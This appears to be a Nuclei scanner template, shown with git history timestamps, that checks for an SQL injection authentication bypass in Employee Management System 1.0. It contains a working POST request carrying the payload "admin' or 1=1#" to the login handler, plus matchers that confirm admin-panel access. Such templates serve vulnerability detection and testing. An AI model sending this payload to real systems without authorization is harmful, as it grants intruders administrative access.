nuclei-templates/vulnerabilities/other/ems-sqli.yaml

40 lines
1007 B
YAML
Raw Normal View History

2022-07-21 07:09:06 +00:00
id: ems-sqli
info:
name: Employee Management System 1.0 - SQLi Authentication Bypass
author: arafatansari
severity: high
description: |
Employee Management System Login page can be bypassed with a simple SQLi to the username parameter.
reference:
- https://www.exploit-db.com/exploits/48882
2022-07-30 06:46:47 +00:00
- https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
metadata:
verified: true
tags: ems,sqli,cms,auth-bypass,edb
2022-07-21 07:09:06 +00:00
requests:
- raw:
- |
POST /process/aprocess.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-07-30 06:46:47 +00:00
mailuid=admin' or 1=1#&pwd=nuclei&login-submit=Login
2022-07-21 07:09:06 +00:00
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Admin Panel'
2022-07-30 06:46:47 +00:00
- 'Log Out'
2022-07-21 07:09:06 +00:00
- 'Employee Management System'
2022-07-30 06:46:47 +00:00
condition: and
2022-07-21 07:09:06 +00:00
- type: status
status:
- 200